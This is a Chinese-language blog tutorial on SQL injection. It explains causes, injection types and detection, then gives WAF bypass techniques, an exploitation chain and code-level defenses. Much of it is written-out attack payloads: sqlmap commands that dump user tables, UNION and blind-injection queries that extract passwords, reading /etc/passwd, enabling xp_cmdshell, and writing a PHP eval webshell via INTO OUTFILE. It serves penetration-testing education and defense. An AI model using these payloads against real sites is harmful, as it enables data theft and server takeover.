SQL注入漏洞详解:从原理到绕过,看这一篇就够了
作者:浅木·先生
前言
SQL注入能成为Web安全十大漏洞之首,不是因为它复杂,恰恰是因为它太简单了——一个单引号就能触发,大量应用存在,危害却极大。直接会导致数据库数据泄露,严重时甚至能靠into outfile直接getshell。
本文系统讲解SQL注入的成因、分类、探测方法、绕过技巧和防御方案,帮你从原理到实战全面掌握这个最常见的Web漏洞。
一、SQL注入的原理
1.1 什么是SQL注入
SQL注入(SQL Injection)是指Web应用程序将用户输入的参数,直接拼接到SQL语句中执行,导致攻击者能够通过构造恶意输入,改变原本SQL语句的逻辑,执行任意SQL命令。
一个经典的漏洞代码示例:
// PHP,模拟存在SQL注入的代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);
正常的请求:?id=5 → 执行 SELECT * FROM users WHERE id = 5
恶意构造:?id=5 UNION SELECT 1,2,3,4 from admin-- → SQL语句被篡改
1.2 为什么会出现SQL注入
核心原因只有一个:用户输入没有被当作数据处理,而是被当作SQL语句的一部分执行。
| 防护措施 | 说明 |
|---|---|
| 未使用参数化查询 | 直接拼接用户输入到SQL语句 |
| 未严格类型限制 | 数字型参数没有做intval过滤 |
| 未做输入校验 | 单引号/括号等特殊字符未被转义 |
| 数据库权限过大 | 应用数据库使用了DBA甚至root权限 |
二、SQL注入的分类
2.1 按注入点位置分类
| 类型 | 说明 | 示例 |
|---|---|---|
| GET注入 | 参数在URL中 | news.php?id=1 |
| POST注入 | 参数在请求体中 | 登录表单 |
| Cookie注入 | 参数在Cookie中 | 修改Cookie中的用户ID |
| Header注入 | 参数在HTTP头中 | X-Forwarded-For、User-Agent |
| 二次注入 | 先存储后执行 | 注册时写入恶意字符,登录后触发 |
2.2 按返回信息分类
| 类型 | 注入手法 | 前提条件 |
|---|---|---|
| 回显型注入(Union) | 通过union显示注入的数据 | 页面有回显位 |
| 报错注入 | 通过数据库报错信息返回数据 | 页面显示数据库错误 |
| 布尔盲注 | 通过页面真假判断数据 | 页面没有回显,但有差异化响应 |
| 时间盲注 | 通过延时函数判断数据 | 页面无论真假都相同 |
| 堆叠注入 | 用分号执行多条SQL | 需支持多语句执行 |
2.3 按数据类型分类
| 类型 | 示例 | 判断方法 |
|---|---|---|
| 数字型 | id=1 | id=1 and 1=1 和 id=1 and 1=2 区别 |
| 字符型 | name='test' | 单引号是否引发报错 |
| 搜索型 | keyword LIKE '%test%' | 加通配符测试 |
三、SQL注入探测方法
3.1 手动探测
第一步:判断注入点类型
# 数字型测试
?id=1 and 1=1 # 正常
?id=1 and 1=2 # 异常 → 存在注入
# 字符型测试
?name=test' # 报错/异常 → 存在注入
?name=test' and '1'='1 # 正常
?name=test' and '1'='2 # 异常
# 搜索型测试
?keyword=test' # 报错
?keyword=test%' and 1=1 and '%'=' # 正常
第二步:判断字段数
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- 直到报错,前一个数字就是字段数
第三步:UNION联合查询
UNION SELECT 1,2,3,4--
UNION SELECT NULL,NULL,NULL,NULL--
-- 找到显示位后替换为注入语句
3.2 自动化探测工具
# SQLMap基本使用
sqlmap -u "http://target.com/news.php?id=1" --batch
sqlmap -u "http://target.com/news.php?id=1" --dbs # 枚举数据库
sqlmap -u "http://target.com/news.php?id=1" --tables # 枚举表
sqlmap -u "http://target.com/news.php?id=1" -D dbname -T users --columns # 枚举字段
sqlmap -u "http://target.com/news.php?id=1" -D dbname -T users -C username,password --dump # 导出数据
# POST注入
sqlmap -u "http://target.com/login.php" --data="username=admin&password=123"
# Cookie注入
sqlmap -u "http://target.com/" --cookie="PHPSESSID=xxx" --batch
# 延时盲注(时间盲注)
sqlmap -u "http://target.com/news.php?id=1" --time-sec=5 --batch
四、主流数据库注入语法
4.1 MySQL注入
-- 查数据库版本
UNION SELECT 1,@@version,3,4--
-- 查当前数据库
UNION SELECT 1,database(),3,4--
-- 查所有数据库
UNION SELECT 1,group_concat(schema_name),3,4 FROM information_schema.schemata--
-- 查当前用户
UNION SELECT 1,user(),3,4--
-- 读写文件(需要FILE权限和物理路径)
UNION SELECT 1,2,load_file('/etc/passwd'),4--
UNION SELECT 1,2,'test',4 INTO OUTFILE '/var/www/html/shell.php'--
MySQL常用函数:
sleep(N)- 延时N秒if(condition, value1, value2)- 条件判断substring(str, pos, len)- 字符串截取ascii(substr())- 取字符ASCII值ord()- 取字符ASCII值(MySQL5+)
4.2 SQL Server注入
-- 查版本
UNION SELECT 1,@@version,3,4--
-- 查表
UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'--
-- 开启xp_cmdshell(高权限)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
4.3 Oracle注入
-- 查表(需要管理员权限或特定条件)
UNION SELECT 1,table_name,3 FROM user_tables--
-- 查字段
UNION SELECT 1,column_name,3 FROM user_tab_columns WHERE table_name='ADMIN'--
五、SQL注入高级绕过技巧
5.1 绕过WAF的基本思路
WAF(Web应用防火墙)主要通过正则匹配检测恶意SQL特征。绕过思路是改变特征表达方式而不改变语义。
5.2 常见绕过手法
1. 大小写混合
UnIoN SeLeCt 1,2,3,4--
2. 双写绕过
UNIunionON SELECselectT 1,2,3,4--
# 中间被WAF删除后剩下UNION SELECT
3. URL编码绕过
# 单引号URL编码
' → %27
空格 → %20
注释符 → %2d%2d
4. 注释符干扰
UNION/**/SELECT 1,2,3,4--
UNION/*!select*/ 1,2,3,4--
/!*50001select*/ 1,2,3,4-- # MySQL版本号>50001才执行
5. 替换关键词
UNION → UNION ALL
AND → && 或者 AND → %
OR → || 或者 OR → %
SELECT → SeLeCt
6. 宽字节注入
# GBK编码环境下,单引号前加%df
?id=1%df' union select 1,2,3,4--
# %df\' → 变成有效汉字,逃过单引号转义
7. 数字代替字符串
# 绕过单引号限制
username = admin' or '1'='1
# 改成
username = 1 or 1=1
# 配合ASCII码
username = 1 or ascii(substr((select password from admin),1,1))=49
8. HPP(HTTP参数污染)
# 同一参数出现多次,不同WAF处理方式不同
id=1&id=union select 1,2,3,4--
5.3 时间盲注高级写法
# MySQL时间盲注
IF(SUBSTRING((SELECT password FROM admin WHERE id=1),1,1)='a',SLEEP(3),0)
# 不用SLEEP,用BENCHMARK
IF(SUBSTRING((SELECT password FROM admin WHERE id=1),1,1)='a',BENCHMARK(50000000,CHAR(1)),0)
六、SQL注入实战利用链
6.1 从注入到Webshell
-- 步骤1:确定字段数
news.php?id=1 ORDER BY 5 # 正常
news.php?id=1 ORDER BY 6 # 报错 → 5个字段
-- 步骤2:找到显示位
news.php?id=-1 UNION SELECT 1,2,3,4,5--
-- 步骤3:读取物理路径
news.php?id=-1 UNION SELECT 1,@@datadir,3,4,5--
-- 步骤4:写入Webshell
news.php?id=-1 UNION SELECT 1,2,'<?php eval($_POST[cmd]);?>',4,5 INTO OUTFILE '/var/www/html/shell.php'--
6.2 报错注入获取数据
-- MySQL经典报错注入
EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))
-- 构造报错
news.php?id=1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM admin LIMIT 1),0x7e))
七、SQL注入防御方案
7.1 代码层面防护
使用参数化查询(最佳方案):
// PHP参数化查询
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
// Java参数化查询
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ResultSet rs = ps.executeQuery();
# Python参数化查询
cursor.execute("SELECT * FROM users WHERE id = %s", (id,))
7.2 数据库层面防护
-- 应用账号不要用root,禁止DBA权限
-- 限制into outfile等危险函数
-- 限制文件写入路径
7.3 Web层面防护
- 输入过滤: 单引号、双引号、括号、分号等特殊字符转义
- WAF部署: 阿里云盾、安全狗、D盾等
- 预编译: 强制使用参数化查询
- 错误信息: 关闭详细报错,统一返回500页面
总结
SQL注入的核心是用户输入没有被当作数据处理。防护的核心只有一条:使用参数化查询,不做字符串拼接。
在实际渗透测试中,判断注入点、选择合适的注入手法、利用报错或盲注获取数据,这三步走是最关键的技能。多练习、多实战,积累绕过WAF的经验,这个漏洞并不难拿高分。
关于作者
作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。
如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以私信留言,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈 浅木·先生

122

被折叠的 条评论
为什么被折叠?



